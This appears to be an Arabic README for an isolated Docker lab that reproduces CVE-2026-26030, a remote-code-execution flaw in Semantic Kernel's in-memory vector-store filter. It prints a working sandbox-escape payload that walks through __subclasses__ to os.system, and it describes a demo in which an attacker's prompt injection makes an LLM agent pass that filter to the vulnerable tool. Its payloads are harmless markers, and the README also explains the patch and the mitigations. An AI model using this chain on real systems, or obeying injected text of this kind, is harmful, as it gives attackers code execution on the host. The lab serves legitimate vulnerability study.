
مختبر Docker أخلاقي ومعزول شبكيًا لإعادة إنتاج CVE-2026-26030 — ثغرة RCE عبر eval() في فلتر مخزن المتجهات في الذاكرة الخاص بـ Semantic Kernel (تم إصلاحها في الإصدار 1.39.4)
eval() RCE (lab)مختبر مستقل بذاته يعيد إنتاج CVE-2026-26030: تنفيذ أكواد عن بُعد قابل للحقن عبر الموجهات من خلال عامل تصفية البحث في مخزن المتجهات داخل الذاكرة في Microsoft Semantic Kernel (إصدار Python الأقدم من < 1.39.4).
مختبر أخلاقي فقط. معزول في بيئات افتراضية مخصصة؛ الحمولات غير ضارة (
touchملف علامة في الـ PoC بدون واجهة؛open -a Calculatorفي عرض الواجهة) وتُشغَّل بمستخدمك المحلي غير المميّز.
./setup.sh # builds two isolated venvs (1.39.3 vulnerable, 1.39.4 patched)
يتطلب python3.13 (حزم wheels لاعتماديات numpy/scipy الخاصة بـ SK). يمكنك تجاوز ذلك باستخدام PYTHON=.
./run.sh # runs the same payload against both venvs
مخرجات الإصدار الثغري تنتهي بـ RCE CONFIRMED؛ بينما يرفض الإصدار المصحوب الحمولة نفسها برسالة '__subclasses__' ... is not allowed.
OpsBot، وكيل قاعدة معرفة هندسية داخلي (Llama مستضاف عبر Groq بواسطة Semantic Kernel)، يعرض أداة search_runbooks(team). يحقن المهاجم قيمة team خبيثة عبر الموجه؛ فيستدعي الوكيل الأداة، ويعمل عامل التصفية الثغري، وتنفتح "ملاحظة فدية" في TextEdit — بينما يعرض الوكيل نتائج التشغيل دون أن يدري. الحمولة (open -e <note>) غير حاجِبة وغير ضارة؛ المذكرة مُعدّة مسبقًا في /tmp/PWNED_by_CVE-2026-26030.txt.
تشغّل الأداة تقييم عامل التصفية الثغري الفعلي داخل عملية فرعية نظيفة (run_filter.py). هذا ضرورة على macOS وليس غشًّا: استدعاء fork() الخاص بالخادم مسموم بسبب خيوط LLM/httpx غير المتزامنة + numpy/scipy، لذا فإن أي تشغيل لواجهة رسومية من تلك العملية يفشل بصمت. العملية الفرعية تمر بنفس مسار كود CVE بالضبط (_parse_and_validate_filter ← تشغيل lambda على سجل).
ملاحظة: تقسيم العملية الفرعية النظيفة هو خصوصية لهذا الإعداد التجريبي على macOS، وليس خصوصية للثغرة. عند نشر الوكيل على Linux، يعمل
os.systemداخل العملية نفسها مباشرة — دون الحاجة إلى عملية فرعية.
echo 'GROQ_API_KEY=gsk_...' > .env # free key from console.groq.com/keys
./demo-ui/run.sh # http://127.0.0.1:8000
رسالة المهاجم محمّلة مسبقًا في خانة الإدخال؛ اضغط إرسال.
يُعرض وكيلٌ أداةَ بحث مدعومةً بـ InMemoryCollection. يولّد نموذج LLM سلسلة تعبير عامل تصفية من المحادثة (lambda x: x.team == 'platform'). يمكن للمهاجم التأثير على هذه السلسلة — عبر موجه المستخدم، أو عبر نص محقون في المحتوى المسترجع/المحتوى الناتج عن الأدوات — وتصل إلى _parse_and_validate_filter، التي تستدعي compile() ثم eval() عليها (connectors/in_memory.py:383):
code = compile(tree, filename="<filter>", mode="eval")
func = eval(code, {"__builtins__": {}}, {}) # nosec
يتم إفراغ __builtins__ ويُطبَّق أولًا قائمة سماح على مستوى AST — إذن هذا تجاوز لصندوق الحماية وليس غياب حماية. هناك ثغرتان تجعلانه قابلًا للتجاوز:
ast.Attribute غير مقيّد — لا توجد قائمة حظر للدوال الخاصة (dunder)، لذلك يُسمح بالتنقل عبر dunder مثل ().__class__.__base__.__subclasses__.ast.Call يفحص func فقط عندما يكون Name أو Attribute. عندما يكون func من نوع Subscript (وهو مسموح به أصلًا)، تبقى func_name قيمة None ويُتخطى فحص الدوال المسموحة بالكامل.إذن، أي استدعاء يمكن تغليفه على الشكل [obj.method][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/HEAD/args) لاستدعاء أي شيء. التسلسل:
object.__subclasses__()[i] -> BuiltinImporter.load_module('os') -> os.system(cmd)
lambda x: [[[().__class__.__base__.__subclasses__][0]()[107].load_module][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/HEAD/%27os%27).system][0]('touch /tmp/pwned_by_filter')
في كل استدعاء، يكون func من نوع Subscript؛ وكل خطوة في التنقل هي مجرد وصول إلى خاصية. الفهرس (107) هو موقع BuiltinImporter داخل object.__subclasses__() — ويختلف حسب إصدار Python، لذلك يحسبه exploit.py والعرض التجريبي في وقت التشغيل.
يضيف التصحيح قائمة حظر للخصائص الخطرة فوق قائمة السماح، لذلك يُرفض التنقل عبر dunder قبل eval:
Access to attribute '__subclasses__' is not allowed in filter expressions.
This attribute could be used to escape the filter sandbox.
أوضح صياغة ممكنة لأطروحة أمن الوكلاء: لا يوجد حد فاصل بين "البيانات" و"التعليمات". عامل تصفية يكتبه النموذج من بحث المستخدم عن runbook يتحول إلى os.system. كان صندوق الحماية موجودًا — قائمة سماح و__builtins__ فارغة — ومع ذلك سقط بسبب تجاوز عبر التنقل في الخصائص + استدعاء Subscript. تسلسل التخفيف الذي يستحق طرحه في المقال: لا تنفّذ مخرجات النموذج عبر eval إطلاقًا؛ وإذا اضطررت، قيّدها بقواعد نحوية مغلقة، لا بقائمة سماح للعقد مع وصول مفتوح للخصائص؛ واعزل العامل (seccomp / بدون شبكة / بصلاحيات غير مميزة) بحيث لا يكون تنفيذ الكود نهاية اللعبة.
| الملف | الغرض |
|---|
setup.sh | يبني بيئتَي venv معزولتين (الثغرة قابلة للاستغلال + مصححة) |
run.sh | PoC بدون واجهة عبر كلتا البيئتين |
exploit.py | شامل من البداية للنهاية: مجموعة حقيقية + عامل تصفية بحث → RCE |
find_sink.py | يحدد موقع نقطة eval/compile في الحزمة المثبتة |
probe.py | تأكيد بسيط للتجاوز عبر التحقق فقط |
demo-ui/app.py | FastAPI + SK + وكيل Groq؛ أداة search_runbooks الثغرية |
demo-ui/run_filter.py | يشغّل تقييم عامل التصفية الفعلي في عملية فرعية نظيفة (استدعاء fork() في الخادم مسموم) |
demo-ui/index.html | واجهة محادثة؛ تفتح ملاحظة فدية في TextEdit عند حدوث RCE |